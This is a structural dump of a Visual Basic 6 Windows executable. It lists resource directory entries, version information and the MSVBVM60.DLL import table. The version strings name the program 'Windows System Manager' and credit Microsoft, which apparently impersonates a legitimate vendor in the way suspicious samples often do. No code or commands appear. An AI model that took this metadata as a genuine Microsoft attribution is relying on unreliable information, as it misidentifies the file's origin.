0040b0ac TimeDateStamp uint32 0x55a501a3
0040b0b0 MajorVersion int 0
0040b0b2 MinorVersion int 5
0040b0b4 NumberOfNamedEntries int 0
0040b0b6 NumberOfIdEntries int 1
0040b0b8
0040b0b8 struct IMAGE_RESOURCE_LANGUAGE_DIRECTORY_ENTRY
0040b0b8 Name uint32 0x00000000
0040b0bc OffsetToData uint32 0x40b0f8
0040b0c0
0040b0c0 struct IMAGE_RESOURCE_DIRECTORY ← 0x40b06c
0040b0c0 Characteristics uint32 0x00000000
0040b0c4 TimeDateStamp uint32 0x55a501a3
0040b0c8 MajorVersion int 0
0040b0ca MinorVersion int 5
0040b0cc NumberOfNamedEntries int 0
0040b0ce NumberOfIdEntries int 1
0040b0d0
0040b0d0 struct IMAGE_RESOURCE_LANGUAGE_DIRECTORY_ENTRY
0040b0d0 Name uint32 0x00000000
0040b0d4 OffsetToData uint32 0x40b108
0040b0d8
0040b0d8 struct IMAGE_RESOURCE_DATA_ENTRY ← 0x40b08c
0040b0d8 OffsetToData uint32 0x40b120
0040b0dc Size int 832
0040b0e0 CodePage int 1200
0040b0e4 Reserved uint32 0x00000000
0040b0e8
0040b0e8 struct IMAGE_RESOURCE_DATA_ENTRY ← 0x40b0a4
0040b0e8 OffsetToData uint32 0x40b460
0040b0ec Size int 36
0040b0f0 CodePage int 1200
0040b0f4 Reserved uint32 0x00000000
0040b0f8
0040b0f8 struct IMAGE_RESOURCE_DATA_ENTRY ← 0x40b0bc
0040b0f8 OffsetToData uint32 0x40b484
0040b0fc Size int 296
0040b100 CodePage int 1200
0040b104 Reserved uint32 0x00000000
0040b108
0040b108 struct IMAGE_RESOURCE_DATA_ENTRY ← 0x40b0d4
0040b108 OffsetToData uint32 0x40b5ac
0040b10c Size int 744
0040b110 CodePage int 1200
0040b114 Reserved uint32 0x00000000
0040b118
0040b118 00 00 00 00 00 00 00 00 ........
0040b120
0040b120 struct VS_VERSIONINFO ← 0x40b0d8
0040b120 wLength int 832
0040b122 wValueLength int 52
0040b124 wType int 0 ; binary
0040b126
0040b126 wstring "VS_VERSION_INFO",0
0040b146
0040b146 00 00 ..
0040b148
0040b148 struct VS_FIXEDFILEINFO
0040b148 dwSignature uint32 0xfeef04bd ; VS_FFI_SIGNATURE
0040b14c dwStrucVersion uint32 0x00010000
0040b150 dwFileVersionMS uint32 0x00030005
0040b154 dwFileVersionLS uint32 0x00000000
0040b158 dwProductVersionMS uint32 0x00030005
0040b15c dwProductVersionLS uint32 0x00000000
0040b160 dwFileFlagsMask uint32 0x00000000
0040b164 dwFileFlags uint32 0x00000000
0040b168 dwFileOS uint32 0x00000004 ; VOS__WINDOWS32
0040b16c dwFileType uint32 0x00000001 ; VFT_APP
0040b170 dwFileSubtype uint32 0x00000000
0040b174 dwFileDateMS uint32 0x00000000
0040b178 dwFileDateLS uint32 0x00000000
0040b17c
0040b17c struct VarFileInfo
0040b17c wLength int 68
0040b17e wValueLength int 0
0040b180 wType int 0 ; binary
0040b182
0040b182 wstring "VarFileInfo",0
0040b19a
0040b19a 00 00 ..
0040b19c
0040b19c struct Var
0040b19c wLength int 36
0040b19e wValueLength int 4
0040b1a0 wType int 0 ; binary
0040b1a2
0040b1a2 wstring "Translation",0
0040b1ba
0040b1ba 00 00 ..
0040b1bc
0040b1bc struct Translation
0040b1bc wLanguage uint16 0x0410
0040b1be wCodePage int 1200
0040b1c0
0040b1c0 struct StringFileInfo
0040b1c0 wLength int 672
0040b1c2 wValueLength int 0
0040b1c4 wType int 1 ; text
0040b1c6
0040b1c6 wstring "StringFileInfo",0
0040b1e4
0040b1e4 struct StringTable
0040b1e4 wLength int 636
0040b1e6 wValueLength int 0
0040b1e8 wType int 1 ; text
0040b1ea
0040b1ea wstring "041004B0",0
0040b1fc
0040b1fc struct String
0040b1fc wLength int 72
0040b1fe wValueLength int 46
0040b200 wType int 1 ; text
0040b202
0040b202 wstring "Comments",0
0040b214
0040b214 wstring "Windows System Manager",0
0040b242
0040b242 00 00 ..
0040b244
0040b244 struct String
0040b244 wLength int 52
0040b246 wValueLength int 20
0040b248 wType int 1 ; text
0040b24a
0040b24a wstring "CompanyName",0
0040b262
0040b262 00 00 ..
0040b264
0040b264 wstring "Microsoft",0
0040b278
0040b278 struct String
0040b278 wLength int 88
0040b27a wValueLength int 46
0040b27c wType int 1 ; text
0040b27e
0040b27e wstring "FileDescription",0
0040b29e
0040b29e 00 00 ..
0040b2a0
0040b2a0 wstring "Windows System Manager",0
0040b2ce
0040b2ce 00 00 ..
0040b2d0
0040b2d0 struct String
0040b2d0 wLength int 56
0040b2d2 wValueLength int 20
0040b2d4 wType int 1 ; text
0040b2d6
0040b2d6 wstring "LegalCopyright",0
0040b2f4
0040b2f4 wstring "Microsoft",0
0040b308
0040b308 struct String
0040b308 wLength int 60
0040b30a wValueLength int 20
0040b30c wType int 1 ; text
0040b30e
0040b30e wstring "LegalTrademarks",0
0040b32e
0040b32e 00 00 ..
0040b330
0040b330 wstring "Microsoft",0
0040b344
0040b344 struct String
0040b344 wLength int 80
0040b346 wValueLength int 46
0040b348 wType int 1 ; text
0040b34a
0040b34a wstring "ProductName",0
0040b362
0040b362 00 00 ..
0040b364
0040b364 wstring "Windows System Manager",0
0040b392
0040b392 00 00 ..
004098ce // align 0x10
004098d0
004098d0 9e 9e 9e 9e ....
004098d4
004098d4 struct IMAGE_IMPORT_DESCRIPTOR
004098d4 OriginalFirstThunk uint32 0x4098fc ; RVA to the Import Lookup Table (pre-binding; preferred for name resolution)
004098d8 TimeDateStamp uint32 0xffffffff ; 0 for unbound import; non-zero records the bind-time DLL timestamp
004098dc ForwarderChain uint32 0xffffffff ; index of the first forwarder reference; 0xFFFFFFFF marks no forwarder
004098e0 Name uint32 0x409a6c ; RVA to the NUL-terminated DLL name string
004098e4 FirstThunk uint32 0x401000 ; RVA to the Import Address Table (loader-resolved entry pointers)
004098e8
004098e8 struct IMAGE_IMPORT_DESCRIPTOR
004098e8 OriginalFirstThunk uint32 0x00000000 ; RVA to the Import Lookup Table (pre-binding; preferred for name resolution)
004098ec TimeDateStamp uint32 0x00000000 ; 0 for unbound import; non-zero records the bind-time DLL timestamp
004098f0 ForwarderChain uint32 0x00000000 ; index of the first forwarder reference; 0xFFFFFFFF marks no forwarder
004098f4 Name uint32 0x00000000 ; RVA to the NUL-terminated DLL name string
004098f8 FirstThunk uint32 0x00000000 ; RVA to the Import Address Table (loader-resolved entry pointers)
004098fc
004098fc struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32 ← 0x4098d4
004098fc AddressOfData uint32 0x409a7a
00409900
00409900 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409900 AddressOfData uint32 0x409a88
00409904
00409904 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409904 AddressOfData uint32 0x409a92
00409908
00409908 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409908 AddressOfData uint32 0x409aa0
0040990c
0040990c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
0040990c AddressOfData uint32 0x409ab0
00409910
00409910 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409910 AddressOfData uint32 0x409ac2
00409914
00409914 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409914 AddressOfData uint32 0x409ad2
00409918
00409918 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409918 AddressOfData uint32 0x409ae6
0040991c
0040991c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
0040991c AddressOfData uint32 0x409af6
00409920
00409920 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409920 AddressOfData uint32 0x409b0a
00409924
00409924 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409924 AddressOfData uint32 0x409b18
00409928
00409928 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409928 AddressOfData uint32 0x409b26
0040992c
0040992c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
0040992c AddressOfData uint32 0x80000229
00409930
00409930 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409930 AddressOfData uint32 0x409b38
00409934
00409934 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409934 AddressOfData uint32 0x409b4e
00409938
00409938 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409938 AddressOfData uint32 0x409b66
0040993c
0040993c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
0040993c AddressOfData uint32 0x8000029a
00409940
00409940 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409940 AddressOfData uint32 0x409b76
00409944
00409944 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409944 AddressOfData uint32 0x409b86
00409948
00409948 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409948 AddressOfData uint32 0x409b9a
0040994c
0040994c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
0040994c AddressOfData uint32 0x409baa
00409950
00409950 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409950 AddressOfData uint32 0x409bb8
00409954
00409954 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409954 AddressOfData uint32 0x409bca
00409958
00409958 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409958 AddressOfData uint32 0x409bde
0040995c
0040995c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
0040995c AddressOfData uint32 0x80000256
00409960
00409960 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409960 AddressOfData uint32 0x80000208
00409964
00409964 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409964 AddressOfData uint32 0x409bf0
00409968
00409968 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409968 AddressOfData uint32 0x80000278
0040996c
0040996c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
0040996c AddressOfData uint32 0x409bfa
00409970
00409970 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409970 AddressOfData uint32 0x8000020e
00409974
00409974 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409974 AddressOfData uint32 0x409c08
00409978
00409978 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409978 AddressOfData uint32 0x409c1a
0040997c
0040997c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
0040997c AddressOfData uint32 0x409c2e
00409980
00409980 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409980 AddressOfData uint32 0x409c3a
00409984
00409984 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409984 AddressOfData uint32 0x80000211
00409988
00409988 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409988 AddressOfData uint32 0x409c48
0040998c
0040998c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
0040998c AddressOfData uint32 0x409c5a
00409990
00409990 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409990 AddressOfData uint32 0x409c68
00409994
00409994 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409994 AddressOfData uint32 0x409c80
00409998
00409998 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409998 AddressOfData uint32 0x409c94
0040999c
0040999c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
0040999c AddressOfData uint32 0x409ca2
004099a0
004099a0 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099a0 AddressOfData uint32 0x80000258
004099a4
004099a4 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099a4 AddressOfData uint32 0x409cb8
004099a8
004099a8 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099a8 AddressOfData uint32 0x409cc6
004099ac
004099ac struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099ac AddressOfData uint32 0x409cd0
004099b0
004099b0 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099b0 AddressOfData uint32 0x409cec
004099b4
004099b4 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099b4 AddressOfData uint32 0x409d02
004099b8
004099b8 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099b8 AddressOfData uint32 0x409d16
004099bc
004099bc struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099bc AddressOfData uint32 0x409d24
004099c0
004099c0 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099c0 AddressOfData uint32 0x80000260
004099c4
004099c4 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099c4 AddressOfData uint32 0x409d36
004099c8
004099c8 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099c8 AddressOfData uint32 0x409d4a
004099cc
004099cc struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099cc AddressOfData uint32 0x409d5c
004099d0
004099d0 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099d0 AddressOfData uint32 0x80000284
004099d4
004099d4 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099d4 AddressOfData uint32 0x80000285
004099d8
004099d8 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099d8 AddressOfData uint32 0x409d6a
004099dc
004099dc struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099dc AddressOfData uint32 0x409d74
004099e0
004099e0 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099e0 AddressOfData uint32 0x409d8a
004099e4
004099e4 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099e4 AddressOfData uint32 0x409d9a
004099e8
004099e8 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099e8 AddressOfData uint32 0x80000288
004099ec
004099ec struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099ec AddressOfData uint32 0x8000023a
004099f0
004099f0 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099f0 AddressOfData uint32 0x409da6
004099f4
004099f4 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099f4 AddressOfData uint32 0x409db4
004099f8
004099f8 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099f8 AddressOfData uint32 0x409dc6
004099fc
004099fc struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
004099fc AddressOfData uint32 0x409dd8
00409a00
00409a00 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a00 AddressOfData uint32 0x800002a9
00409a04
00409a04 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a04 AddressOfData uint32 0x409de8
00409a08
00409a08 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a08 AddressOfData uint32 0x409dfc
00409a0c
00409a0c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a0c AddressOfData uint32 0x409e0e
00409a10
00409a10 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a10 AddressOfData uint32 0x80000064
00409a14
00409a14 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a14 AddressOfData uint32 0x409e1c
00409a18
00409a18 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a18 AddressOfData uint32 0x80000262
00409a1c
00409a1c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a1c AddressOfData uint32 0x409e2a
00409a20
00409a20 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a20 AddressOfData uint32 0x409e38
00409a24
00409a24 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a24 AddressOfData uint32 0x80000264
00409a28
00409a28 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a28 AddressOfData uint32 0x409e4a
00409a2c
00409a2c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a2c AddressOfData uint32 0x80000269
00409a30
00409a30 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a30 AddressOfData uint32 0x409e5a
00409a34
00409a34 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a34 AddressOfData uint32 0x409e64
00409a38
00409a38 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a38 AddressOfData uint32 0x409e74
00409a3c
00409a3c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a3c AddressOfData uint32 0x8000021e
00409a40
00409a40 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a40 AddressOfData uint32 0x8000021f
00409a44
00409a44 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a44 AddressOfData uint32 0x409e84
00409a48
00409a48 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a48 AddressOfData uint32 0x80000220
00409a4c
00409a4c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a4c AddressOfData uint32 0x80000221
00409a50
00409a50 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a50 AddressOfData uint32 0x409e8e
00409a54
00409a54 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a54 AddressOfData uint32 0x80000223
00409a58
00409a58 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a58 AddressOfData uint32 0x409e98
00409a5c
00409a5c struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a5c AddressOfData uint32 0x409ea2
00409a60
00409a60 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a60 AddressOfData uint32 0x409eb2
00409a64
00409a64 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a64 AddressOfData uint32 0x80000245
00409a68
00409a68 struct IMAGE_IMPORT_LOOKUP_TABLE_ENTRY32
00409a68 AddressOfData uint32 0x00000000
00409a6c
00409a6c string "MSVBVM60.DLL",0
00409a79
00409a79 00 .
00409a7a
00409a7a struct IMAGE_IMPORT_BY_NAME ← 0x4098fc
00409a7a Hint uint16 0x0000
00409a7c Name ascii "__vbaStrI2"
00409a87
00409a87 00 .
00409a88
00409a88 struct IMAGE_IMPORT_BY_NAME ← 0x409900
00409a88 Hint uint16 0x0000
00409a8a Name ascii "_CIcos"
00409a91
00409a91 00 .
00409a92
00409a92 struct IMAGE_IMPORT_BY_NAME ← 0x409904
00409a92 Hint uint16 0x0000
00409a94 Name ascii "_adj_fptan"
00409a9f
00409a9f 00 .
00409aa0
00409aa0 struct IMAGE_IMPORT_BY_NAME ← 0x409908
00409aa0 Hint uint16 0x0000
00409aa2 Name ascii "__vbaFreeVar"
00409aaf
00409aaf 00 .
00409ab0
00409ab0 struct IMAGE_IMPORT_BY_NAME ← 0x40990c
00409ab0 Hint uint16 0x0000
00409ab2 Name ascii "__vbaStrVarMove"
00409ac2
00409ac2 struct IMAGE_IMPORT_BY_NAME ← 0x409910
00409ac2 Hint uint16 0x0000
00409ac4 Name ascii "__vbaLenBstr"
00409ad1
00409ad1 00 .
00409ad2
00409ad2 struct IMAGE_IMPORT_BY_NAME ← 0x409914
00409ad2 Hint uint16 0x0000
00409ad4 Name ascii "__vbaFreeVarList"
00409ae5
00409ae5 00 .
00409ae6
00409ae6 struct IMAGE_IMPORT_BY_NAME ← 0x409918
00409ae6 Hint uint16 0x0000
00409ae8 Name ascii "_adj_fdiv_m64"
00409af6
00409af6 struct IMAGE_IMPORT_BY_NAME ← 0x40991c
00409af6 Hint uint16 0x0000
00409af8 Name ascii "__vbaFreeObjList"
00409b09
00409b09 00 .
00409b0a
00409b0a struct IMAGE_IMPORT_BY_NAME ← 0x409920
00409b0a Hint uint16 0x0000
00409b0c Name ascii "_adj_fprem1"
00409b18
00409b18 struct IMAGE_IMPORT_BY_NAME ← 0x409924
00409b18 Hint uint16 0x0000
00409b1a Name ascii "__vbaStrCat"
00409b26
00409b26 struct IMAGE_IMPORT_BY_NAME ← 0x409928
00409b26 Hint uint16 0x0000
00409b28 Name ascii "__vbaLsetFixstr"
00409b38
00409b38 struct IMAGE_IMPORT_BY_NAME ← 0x409930
00409b38 Hint uint16 0x0000
00409b3a Name ascii "__vbaSetSystemError"
00409b4e
00409b4e struct IMAGE_IMPORT_BY_NAME ← 0x409934
00409b4e Hint uint16 0x0000
00409b50 Name ascii "__vbaHresultCheckObj"
00409b65
00409b65 00 .
00409b66
00409b66 struct IMAGE_IMPORT_BY_NAME ← 0x409938
00409b66 Hint uint16 0x0000
00409b68 Name ascii "_adj_fdiv_m32"
00409b76
00409b76 struct IMAGE_IMPORT_BY_NAME ← 0x409940
00409b76 Hint uint16 0x0000
00409b78 Name ascii "__vbaExitProc"
00409b86
00409b86 struct IMAGE_IMPORT_BY_NAME ← 0x409944
00409b86 Hint uint16 0x0000
00409b88 Name ascii "__vbaFileCloseAll"
00409b9a
00409b9a struct IMAGE_IMPORT_BY_NAME ← 0x409948
00409b9a Hint uint16 0x0000
00409b9c Name ascii "__vbaOnError"
00409ba9
00409ba9 00 .
00409baa
00409baa struct IMAGE_IMPORT_BY_NAME ← 0x40994c
00409baa Hint uint16 0x0000
00409bac Name ascii "__vbaObjSet"
00409bb8
00409bb8 struct IMAGE_IMPORT_BY_NAME ← 0x409950
00409bb8 Hint uint16 0x0000
00409bba Name ascii "_adj_fdiv_m16i"
00409bc9
00409bc9 00 .
00409bca
00409bca struct IMAGE_IMPORT_BY_NAME ← 0x409954
00409bca Hint uint16 0x0000
00409bcc Name ascii "__vbaObjSetAddref"
00409bde
00409bde struct IMAGE_IMPORT_BY_NAME ← 0x409958
00409bde Hint uint16 0x0000
00409be0 Name ascii "_adj_fdivr_m16i"
00409bf0
00409bf0 struct IMAGE_IMPORT_BY_NAME ← 0x409964
00409bf0 Hint uint16 0x0000
00409bf2 Name ascii "_CIsin"
00409bf9
00409bf9 00 .
00409bfa
00409bfa struct IMAGE_IMPORT_BY_NAME ← 0x40996c
00409bfa Hint uint16 0x0000
00409bfc Name ascii "__vbaChkstk"
00409c08
00409c08 struct IMAGE_IMPORT_BY_NAME ← 0x409974
00409c08 Hint uint16 0x0000
00409c0a Name ascii "__vbaFileClose"
00409c19
00409c19 00 .
00409c1a
00409c1a struct IMAGE_IMPORT_BY_NAME ← 0x409978
00409c1a Hint uint16 0x0000
00409c1c Name ascii "EVENT_SINK_AddRef"
00409c2e
00409c2e struct IMAGE_IMPORT_BY_NAME ← 0x40997c
00409c2e Hint uint16 0x0000
00409c30 Name ascii "__vbaGet3"
00409c3a
00409c3a struct IMAGE_IMPORT_BY_NAME ← 0x409980
00409c3a Hint uint16 0x0000
00409c3c Name ascii "__vbaStrCmp"
00409c48
00409c48 struct IMAGE_IMPORT_BY_NAME ← 0x409988
00409c48 Hint uint16 0x0000
00409c4a Name ascii "DllFunctionCall"
00409c5a
00409c5a struct IMAGE_IMPORT_BY_NAME ← 0x40998c
00409c5a Hint uint16 0x0000
00409c5c Name ascii "_adj_fpatan"
00409c68
00409c68 struct IMAGE_IMPORT_BY_NAME ← 0x409990
00409c68 Hint uint16 0x0000
00409c6a Name ascii "__vbaFixstrConstruct"
00409c7f
00409c7f 00 .
00409c80
00409c80 struct IMAGE_IMPORT_BY_NAME ← 0x409994
00409c80 Hint uint16 0x0000
00409c82 Name ascii "__vbaLateIdCallLd"
00409c94
00409c94 struct IMAGE_IMPORT_BY_NAME ← 0x409998
00409c94 Hint uint16 0x0000
00409c96 Name ascii "__vbaStrR8"
00409ca1
00409ca1 00 .
00409ca2
00409ca2 struct IMAGE_IMPORT_BY_NAME ← 0x40999c
00409ca2 Hint uint16 0x0000
00409ca4 Name ascii "EVENT_SINK_Release"
00409cb7
00409cb7 00 .
00409cb8
00409cb8 struct IMAGE_IMPORT_BY_NAME ← 0x4099a4
00409cb8 Hint uint16 0x0000
00409cba Name ascii "__vbaUI1I2"
00409cc5
00409cc5 00 .
00409cc6
00409cc6 struct IMAGE_IMPORT_BY_NAME ← 0x4099a8
00409cc6 Hint uint16 0x0000
00409cc8 Name ascii "_CIsqrt"
00409cd0
00409cd0 struct IMAGE_IMPORT_BY_NAME ← 0x4099ac
00409cd0 Hint uint16 0x0000
00409cd2 Name ascii "EVENT_SINK_QueryInterface"
00409cec
00409cec struct IMAGE_IMPORT_BY_NAME ← 0x4099b0
00409cec Hint uint16 0x0000
00409cee Name ascii "__vbaExceptHandler"
00409d01
00409d01 00 .
00409d02
00409d02 struct IMAGE_IMPORT_BY_NAME ← 0x4099b4
00409d02 Hint uint16 0x0000
00409d04 Name ascii "__vbaStrToUnicode"
00409d16
00409d16 struct IMAGE_IMPORT_BY_NAME ← 0x4099b8
00409d16 Hint uint16 0x0000
00409d18 Name ascii "_adj_fprem"
00409d23
00409d23 00 .
00409d24
00409d24 struct IMAGE_IMPORT_BY_NAME ← 0x4099bc
00409d24 Hint uint16 0x0000
00409d26 Name ascii "_adj_fdivr_m64"
00409d35
00409d35 00 .
00409d36
00409d36 struct IMAGE_IMPORT_BY_NAME ← 0x4099c4
00409d36 Hint uint16 0x0000
00409d38 Name ascii "__vbaFPException"
00409d49
00409d49 00 .
00409d4a
00409d4a struct IMAGE_IMPORT_BY_NAME ← 0x4099c8
00409d4a Hint uint16 0x0000
00409d4c Name ascii "__vbaStrVarVal"
00409d5b
00409d5b 00 .
00409d5c
00409d5c struct IMAGE_IMPORT_BY_NAME ← 0x4099cc
00409d5c Hint uint16 0x0000
00409d5e Name ascii "__vbaVarCat"
00409d6a
00409d6a struct IMAGE_IMPORT_BY_NAME ← 0x4099d8
00409d6a Hint uint16 0x0000
00409d6c Name ascii "_CIlog"
00409d73
00409d73 00 .
00409d74
00409d74 struct IMAGE_IMPORT_BY_NAME ← 0x4099dc
00409d74 Hint uint16 0x0000
00409d76 Name ascii "__vbaErrorOverflow"
00409d89
00409d89 00 .
00409d8a
00409d8a struct IMAGE_IMPORT_BY_NAME ← 0x4099e0
00409d8a Hint uint16 0x0000
00409d8c Name ascii "__vbaFileOpen"
00409d9a
00409d9a struct IMAGE_IMPORT_BY_NAME ← 0x4099e4
00409d9a Hint uint16 0x0000
00409d9c Name ascii "__vbaNew2"
00409da6
00409da6 struct IMAGE_IMPORT_BY_NAME ← 0x4099f0
00409da6 Hint uint16 0x0000
00409da8 Name ascii "__vbaR8Str"
00409db3
00409db3 00 .
00409db4
00409db4 struct IMAGE_IMPORT_BY_NAME ← 0x4099f4
00409db4 Hint uint16 0x0000
00409db6 Name ascii "_adj_fdiv_m32i"
00409dc5
00409dc5 00 .
00409dc6
00409dc6 struct IMAGE_IMPORT_BY_NAME ← 0x4099f8
00409dc6 Hint uint16 0x0000
00409dc8 Name ascii "_adj_fdivr_m32i"
00409dd8
00409dd8 struct IMAGE_IMPORT_BY_NAME ← 0x4099fc
00409dd8 Hint uint16 0x0000
00409dda Name ascii "__vbaStrCopy"
00409de7
00409de7 00 .
00409de8
00409de8 struct IMAGE_IMPORT_BY_NAME ← 0x409a04
00409de8 Hint uint16 0x0000
00409dea Name ascii "__vbaFreeStrList"
00409dfb
00409dfb 00 .
00409dfc
00409dfc struct IMAGE_IMPORT_BY_NAME ← 0x409a08
00409dfc Hint uint16 0x0000
00409dfe Name ascii "_adj_fdivr_m32"
00409e0d
00409e0d 00 .
00409e0e
00409e0e struct IMAGE_IMPORT_BY_NAME ← 0x409a0c
00409e0e Hint uint16 0x0000
00409e10 Name ascii "_adj_fdiv_r"
00409e1c
00409e1c struct IMAGE_IMPORT_BY_NAME ← 0x409a14
00409e1c Hint uint16 0x0000
00409e1e Name ascii "__vbaI4Var"
00409e29
00409e29 00 .
00409e2a
00409e2a struct IMAGE_IMPORT_BY_NAME ← 0x409a1c
00409e2a Hint uint16 0x0000
00409e2c Name ascii "__vbaVarDup"
00409e38
00409e38 struct IMAGE_IMPORT_BY_NAME ← 0x409a20
00409e38 Hint uint16 0x0000
00409e3a Name ascii "__vbaStrToAnsi"
00409e49
00409e49 00 .
00409e4a
00409e4a struct IMAGE_IMPORT_BY_NAME ← 0x409a28
00409e4a Hint uint16 0x0000
00409e4c Name ascii "__vbaVarCopy"
00409e59
00409e59 00 .
00409e5a
00409e5a struct IMAGE_IMPORT_BY_NAME ← 0x409a30
00409e5a Hint uint16 0x0000
00409e5c Name ascii "_CIatan"
00409e64
00409e64 struct IMAGE_IMPORT_BY_NAME ← 0x409a34
00409e64 Hint uint16 0x0000
00409e66 Name ascii "__vbaStrMove"
00409e73
00409e73 00 .
00409e74
00409e74 struct IMAGE_IMPORT_BY_NAME ← 0x409a38
00409e74 Hint uint16 0x0000
00409e76 Name ascii "__vbaCastObj"
00409e83
00409e83 00 .
00409e84
00409e84 struct IMAGE_IMPORT_BY_NAME ← 0x409a44
00409e84 Hint uint16 0x0000
00409e86 Name ascii "_allmul"
00409e8e
00409e8e struct IMAGE_IMPORT_BY_NAME ← 0x409a50
00409e8e Hint uint16 0x0000
00409e90 Name ascii "_CItan"
00409e97
00409e97 00 .
00409e98
00409e98 struct IMAGE_IMPORT_BY_NAME ← 0x409a58
00409e98 Hint uint16 0x0000
00409e9a Name ascii "_CIexp"
00409ea1
00409ea1 00 .
00409ea2
00409ea2 struct IMAGE_IMPORT_BY_NAME ← 0x409a5c
00409ea2 Hint uint16 0x0000
00409ea4 Name ascii "__vbaFreeObj"
00409eb1
00409eb1 00 .
00409eb2
00409eb2 struct IMAGE_IMPORT_BY_NAME ← 0x409a60
00409eb2 Hint uint16 0x0000
00409eb4 Name ascii "__vbaFreeStr"
00409ec1
00409ec1 00 00 00 ...
0040a2f4
